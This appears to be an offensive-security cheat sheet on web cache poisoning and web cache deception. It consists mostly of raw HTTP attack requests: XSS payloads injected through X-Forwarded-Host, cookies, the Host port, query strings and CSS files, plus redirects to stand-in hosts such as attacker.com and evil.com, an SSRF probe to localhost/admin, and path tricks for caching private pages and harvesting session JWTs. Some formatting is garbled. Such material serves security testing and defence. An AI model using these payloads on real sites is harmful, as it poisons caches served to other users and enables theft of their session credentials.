-
In
web cache poisoning, the attacker causes the application to store somemalicious contentin the cache, and this content is served from the cache to other application users. -
In
web cache deception, the attacker causes the application to store somesensitive contentbelonging to another user in the cache, and the attacker then retrieves this content from the cache.
You need first to identify unkeyed inputs (parameters not needed to appear on the cached request but that change the returned page), see how to abuse this parameter and get the response cached.
X-Cache: in the response may have the value miss when the request wasn't cached and the value hit when it is cachedCache-Control: indicates if a resource is being cached and when will be the next time the resource will be cached again: Cache-Control: public, max-age=1800Vary: is often used in the response to indicate additional headers that are treated as part of the cache key even if they are normally unkeyedAge: defines the times in seconds the object has been in the proxy cacheServer-Timing: cdn-cache; desc=HIT: also indicates that a resource was cached
Clear-Site-Data: Header to indicate the cache that should be removed: Clear-Site-Data: "cache", "cookies"Expires: Contains date/time when the response should expire: Expires: Wed, 21 Oct 2015 07:28:00 GMTPragma: no-cachesame asCache-Control: no-cacheWarning: The Warning general HTTP header contains information about possible problems with the status of the message. More than one Warning header may appear in a response.Warning: 110 anderson/1.3.37 "Response is stale"
If you are thinking that the response is being stored in a cache, you could try to send requests with a bad header, which should be responded to with a status code 400. Then try to access the request normally and if the response is a 400 status code, you know it's vulnerable (and you could even perform a DoS).
You could use Param Miner to brute-force parameters and headers that may be changing the response of the page. For example, a page may be using the header X-Forwarded-For to indicate the client to load the script from there:
<script type="text/javascript" src="//<X-Forwarded-For_value>/resources/js/tracking.js"></script>- A header like
X-Forwarded-Foris being reflected in the response unsanitized.
You can send a basic XSS payload and poison the cache so everybody that accesses the page will be XSSed. Note that this will poison a request to
/en?region=uknot to/en
GET /en?region=uk HTTP/1.1
Host: innocent-website.com
X-Forwarded-Host: a."><script>alert(1)</script>"- Using web cache poisoning to exploit
cookie-handlingvulnerabilities
GET / HTTP/1.1
Host: vulnerable.com
Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"- Using multiple headers to exploit web cache poisoning vulnerabilities
- you may find an Open redirect if you set
X-Forwarded-Hostto a domain controlled by you X-Forwarded-Schemeto http
- you may find an Open redirect if you set
GET /resources/js/tracking.js HTTP/1.1
Host: acc11fe01f16f89c80556c2b0056002e.web-security-academy.net
X-Forwarded-Host: ac8e1f8f1fb1f8cb80586c1d01d500d3.web-security-academy.net/
X-Forwarded-Scheme: http- limited Vary header If you found that the X-Host header is being used as domain name to load a JS resource but the Vary header in the response is indicating User-Agent. Then, you need to find a way to exfiltrate the User-Agent of the victim and poison the cache using that user agent:
GET / HTTP/1.1
Host: vulnerbale.net
User-Agent: THE SPECIAL USER-AGENT OF THE VICTIM
X-Host: attacker.comObjective: Find a page/endpoint that provides feedback on cache behavior.
Steps:
-
Look for pages with dynamic content (e.g., redirects, time-sensitive data).
-
Check for cache-related headers like
Cache-Status,X-Cache, orAge. -
Test response times (cached responses are typically faster).
-
Use third-party cache-specific headers (e.g.,
Pragma: akamai-x-get-cache-keyto reveal cache keys).
Example:
GET /?param=test HTTP/1.1
Host: example.com
Pragma: akamai-x-get-cache-keyIf the response includes X-Cache-Key: example.com/?param=test, this is a valid cache oracle.
Objective: Identify transformations in cache keys (e.g., excluded parameters, normalization).
Steps:
- Test unkeyed ports in the Host header:
GET / HTTP/1.1
Host: example.com:1337 # Poisoning attemptIf the cached response retains the port in redirects (e.g., Location: https://example.com:1337/en), the port is unkeyed.
- Test unkeyed query strings:
GET /?utm_content=payload HTTP/1.1
Host: example.comIf the response is cached and serves the same content regardless of utm_content, the query string is unkeyed.
- Test parameter filtering:
Send duplicate parameters or malformed syntax (e.g., /?param=1¶m=2, /?param[1]=test).
Check if the cache ignores duplicates or normalizes input.
- Test path normalization:
GET // HTTP/1.1 # Apache
GET /%2F HTTP/1.1 # Nginx
GET /index.php/xyz HTTP/1.1 # PHPIf these paths are treated as / by the server but cached separately, path normalization is flawed.
Exploit: Inject malicious ports to poison redirects or trigger XSS.
GET / HTTP/1.1
Host: example.com:"><svg onload=alert(1)>If the Location header reflects the port, users are redirected to a page with XSS.
Exploit: Poison cached pages with stored XSS.
GET /?utm_content=<script>alert(1)</script> HTTP/1.1
Host: example.comIf the query string is unkeyed, all users visiting / will execute the payload.
Exploit: Bypass parameter filtering using parsing quirks.
GET /?utm_content=123?param=alert(1) HTTP/1.1
Host: example.comThe cache ignores utm_content, but the server treats param=alert(1) as a valid parameter.
Exploit: Use URL-encoded payloads to bypass sanitization.
GET /?param=%22%3E%3Cscript%3Ealert(1)%3C/script%3E HTTP/1.1
Host: example.comIf the cache normalizes the key, the decoded payload is stored and executed.
Exploit: Poison caches using GET requests with bodies.
GET /?param=innocent HTTP/1.1
Host: example.com
Content-Length: 13
X-HTTP-Method-Override: POST
param=maliciousThe cache key uses the request line, but the server processes the body.
Exploit: Inject headers affecting the cache behavior.
GET / HTTP/1.1
Host: example.com
X-Forwarded-Host: attacker.comIf the cache stores responses based on X-Forwarded-Host, users receive poisoned content from attacker.com.
Exploit: Inject requests leading to internal services.
GET /?url=http://localhost/admin HTTP/1.1
Host: example.comIf the cache stores responses from internal URLs, attackers can retrieve internal data.
Objective: Exploit application-level caches that store reusable fragments.
Steps:
-
Identify pages where inputs are reflected across multiple responses (e.g., headers in CSS/JS files).
-
Inject payloads into static resources:
GET /style.css?excluded_param=alert(1); HTTP/1.1
Host: example.comIf the response includes alert(1);, all pages importing /style.css will execute the payload.
-
Use controlled domains (e.g.,
evil.com) for payloads to avoid collateral damage. -
Test with harmless payloads first (e.g.,
alert(document.domain)). -
Bust the cache after testing:
GET /?cachebuster=random123 HTTP/1.1
Host: example.comExample Scenario:
- Flaw: Cache excludes the port from the Host header.
Exploit:
- Poison the cache with a malicious port:
GET / HTTP/1.1
Host: example.com:evil.com- Users visiting
example.comreceive the poisoned response:
HTTP/1.1 302 Moved Permanently
Location: https://example.com:evil.com/en
Cache-Status: hitWeb Cache Deception on PayPal Home Page
- Normal browsing, visit home :
https://www.example.com/myaccount/home/ - Open the malicious link :
https://www.example.com/myaccount/home/malicious.css - The page is displayed as
/homeand the cache is saving the page - Open a private tab with the previous URL :
https://www.example.com/myaccount/home/malicous.css - The content of the cache is displayed
/profile%2ecss/profile/;test.css/profile/!test.css/profile/.css/api/messages%0A%0D-test.css/api/aut/%0A%0D%09session.css
CloudFlare caches the resource when the Cache-Control header is set to public and max-age is greater than 0.
- The Cloudflare CDN does not cache HTML by default
- Cloudflare only caches based on file extension and not by MIME type: cloudflare/default-cache-behavior
- Attacker crafts a dedicated .css path of the
/api/auth/sessionendpoint - Attacker distributes the link
- Victims visit the legitimate link
- Response is cached
- Attacker harvests JWT Credentials
Example:
-
Access
/profile.php/nonexistent.cssand check if the response is cached. -
Use response headers like
X-Cache: HITorAgeto determine caching.
Example:
-
Request
https://target.com/robots.txtand check if the response is cached. -
Modify the request to
https://target.com/profile/robots.txtand see if the private page is exposed.
Example:
-
Check
/static/directories like/assets/js/main.jsto determine caching behavior. -
Try
/profile/assets/js/main.jsto see if private data gets cached.
Example:
-
Send a request to
/aaa%2f%2e%2e%2findex.html.-
If cached, the cache normalizes the path to
/index.html. -
If not cached, the cache interprets it as
/profile%2f%2e%2e%2findex.html.
-
Example:
- If
/profile%2ehtmlis cached but/profile.htmlis private, an attacker may access sensitive content.
Example:
-
Check if
Cache-Control: privateis ignored by the caching server. -
Use headers like
Pragma: no-cacheand see if caching is bypassed.
Example:
-
Try
HEAD,OPTIONS, orPOSTinstead ofGETand check cache behavior. -
If
HEADrequests are cached butGETis not, sensitive data exposure might be possible.
Example:
-
Test
/dashboard?auth=trueand/dashboard?auth=falseto check if authentication-sensitive data is cached. -
Try adding
?nocache=randomvalueto see if cache behavior changes.
Example:
- If
/user?id=123is cached but/user?id=456returns the same cached response, user data leakage is possible.
Example:
-
Modify the
Hostheader toevil.comand check if it is cached. -
If
https://target.com/profileis cached underevil.com/profile, an attacker can serve malicious content.
Example:
-
Check if
/admin/dashboardgets cached after an authenticated request. -
Try accessing it without authentication and verify if the cached version is served.
Example:
-
Inject
<script>alert(1)</script>in URL parameters and check if it is cached and served persistently. -
If JavaScript payloads persist, cache-based XSS may be possible.
Example:
-
Use different CDN edge servers and test variations in caching rules.
-
Check if private data is cached on a specific region’s edge server but not others.
Example:
-
Modify
Vary: User-Agentand see if different user agents receive different cached content. -
If
/profilecaches different responses for differentUser-Agent, information disclosure may occur.
Example:
-
Identify if both a CDN (e.g., Cloudflare) and an origin server cache responses.
-
Test
/dashboardvia direct origin requests (bypassing CDN) and CDN responses separately.
-
Use
curl -I -X GET <url>to inspect headers quickly. -
Leverage Burp Suite to automate cache detection with extensions like Param Miner.
-
Always check for
X-Cache,Age,ETag, andVaryheaders.